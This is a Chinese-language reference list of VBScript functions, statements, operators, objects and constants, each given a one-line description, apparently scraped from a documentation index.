PropertyLet 语句 声明在窗体属性过程中指定属性值的名称,参数和代码。
PropertySet 语句 声明在窗体属性过程中设置引用到对象的名称,参数和代码。
If...Then...Else 语句 根据表达式的值,有条件地执行一组语句。
IgnoreCase 属性 设置或返回 Boolean 值,指示模式搜索是否区分大小写。
Imp 运算符 执行两个表达式的逻辑隐含。
初始化事件
发生在创建相关类的实例时。
InputBox 函数 在对话框中显示提示,等待用户输入文本或者单击按钮,并返回文本框的内容。
ScriptEngineMinorVersion 函数 返回使用中的脚本引擎的次版本号。
Second 函数 返回时间的秒数,取值范围为 0 至 59。
Select Case 语句 根据表达式的值,在若干组语句中选择一组执行。
Set 语句 将对象引用赋予变量或属性。
Sgn 函数 返回表示数的符号的整数。
Matches 集合 正则表达式匹配对象的集合。
Mid 函数 从字符串中返回指定数量的字符。
Minute 函数 返回小时内的分钟数,取值范围为 0 至 59。
杂项常数 不能纳入任何其他类的常数列表。
Mod 运算符 两数相除,只返回余数。
Month 函数 返回月份,取值范围为 1 至 12。
On Error 语句 启用错误处理。
运算符的优先级 表示各种 VBScript 运算符的优先顺序的列表。
Option Explicit 语句 强制显式声明脚本中的所有变量。
Or 运算符 执行两个表达式的逻辑“或”运算。
Pattern 属性 设置或返回正被搜索的正则表达式的模式。
IsObject 函数 返回 Boolean 值,表示表达式是否引用了有效的“自动”对象。
Join 函数 返回连接许多包含在一个数组中的子串而创建的字符串。
LBound 函数 对于指示的数组维数,返回最小的可用下标。
LCase 函数 返回已被转换为小写字母的字符串。
Left 函数 返回字符串最左边的指定数量的字符。
MonthName 函数 返回表示月份的字符串。
MsgBox 常数 与MsgBox 函数一起使用的常数列表。
MsgBox 函数 在对话框中显示消息,等待用户单击按钮,并返回表示用户所击按钮的数值。
乘法运算符 (*) 两数相乘。
取反运算符 (-) 表示数值表达式的相反数。
Public 语句 声明公有变量并分配存储空间。
Raise 方法 产生运行时错误。
Randomize 语句 初始化随机数发生器。
ReDim 语句 声明动态数组变量,并分配或重新分配过程级的存储空间。
RegExp 对象 提供简单正则表达式的支持。
Rem 语句 包含程序中的注释。
Replace 函数 返回一个字符串,其中某个指定的子串被另一个子串替换,替换的次数也有规定。
Replace 方法 替换在正则表达式搜索中已发现的正文。
RGB 函数 返回表示 RGB 颜色值的数。
Right 函数 返回字符串最右边的指定数量的字符。
Rnd 函数 返回一随机数。
Len 函数 返回字符串中的字符数量,或者存储变量所需的字节数。
Length 属性 返回在搜索字符串中匹配的长度。
LoadPicture 函数 返回图片对象。仅用于 32 位平台。
Log 函数 返回数的自然对数。
LTrim 函数 返回去掉前导空格的字符串副本。
Match 对象 提供访问匹配正则表达式的只读属性。
InStr 函数 返回一个字符串在另一个字符串中第一次出现的位置。
InStrRev 函数 返回一个字符串在另一个字符串中出现的位置,是从字符串的末尾算起。
Int 函数 返回数的整数部分。
整数除法运算符(\) 两数相除,返回的商取其整数部分。
Is 运算符 比较两个对象引用变量。
IsArray 函数 返回 Boolean 值,表示变量是否为数组。
Dictionary 对象 存储数据键、项目对的对象。
Dim 语句 声明变量并分配存储空间。
除法运算符 (/) 两数相除并以浮点数格式返回商。
Do...Loop 语句 当条件为 True 或者当条件变为 True 时,重复一语句块。
Empty 表示尚未初始化的变量值。
Eqv 运算符 使两个表达式相等。
Tan 函数 返回角度的正切值。
终结事件
发生在相关类的实例终结之时。
Test 方法 根据指定的字符串,执行正则表达式的搜索。
Time 函数 返回反映当前系统时间的日期子类型的变体。
Timer 函数 返回时经子夜 12:00 AM 后的秒数。
TimeSerial 函数 返回含有指定时分秒时间的日期子类型的变体。
Sin 函数 返回角度的正弦值。
Source 属性 返回最早出错的对象或应用程序的名称。
Space 函数 返回由指定数量的空格组成的字符串。
Split 函数 返回下限为 0 的、由指定数量的子串组成的一维数组。
Sqr 函数 返回数的平方根。
StrComp 函数 返回反映字符串比较结果的值。
Erase 语句 重新初始化固定数组的元素并重新分配动态数组的存储空间。
Err 对象 含有关于运行时错误的信息。
Eval 函数 计算并返回表达式的值。
Execute 方法 根据指定的字符串,执行正则表达式的搜索。
Execute 语句 执行单个或更多的指定语句。
Exit 语句 退出 Do...Loop、For...Next、 Function 或 Sub 代码块。
FormatNumber 函数 返回格式化为数的表达式。
FormatPercent 函数 返回格式化为百分比(乘以 100)的表达式,以 % 符号结尾。
Function 语句 声明形成 Function 过程体的名称、参数和代码。
GetObject 函数 从文件返回对“自动”对象的访问。
CStr 函数 返回已被转换为字符串子类型的变体的表达式。
日期和时间常数 在日期和时间运算中用来定义星期几和其他常数的常数列表。
日期格式常数 用于日期和时间格式的常数列表。
Date 函数 返回当前系统日期。
DateAdd 函数 返回加上了指定的时间间隔的日期。
DateDiff 函数 返回两个日期之间的间隔。
TimeValue 函数 返回含有时间的日期子类型的变体。
Trim 函数 返回去掉前导空格或末尾空格的字符串副本。
三态常数 在代码中使用,以便表示每个显示的值。
True 其值为 -1 的关键字。
TypeName 函数 返回一字符串,它提供了关于变量的变体子类型信息。
UBound 函数 返回指定维数数组的最大有效下标。
Fix 函数 返回数的整数部分。
For...Next 语句 以指定的次数重复一组语句。
相关文档
最新文档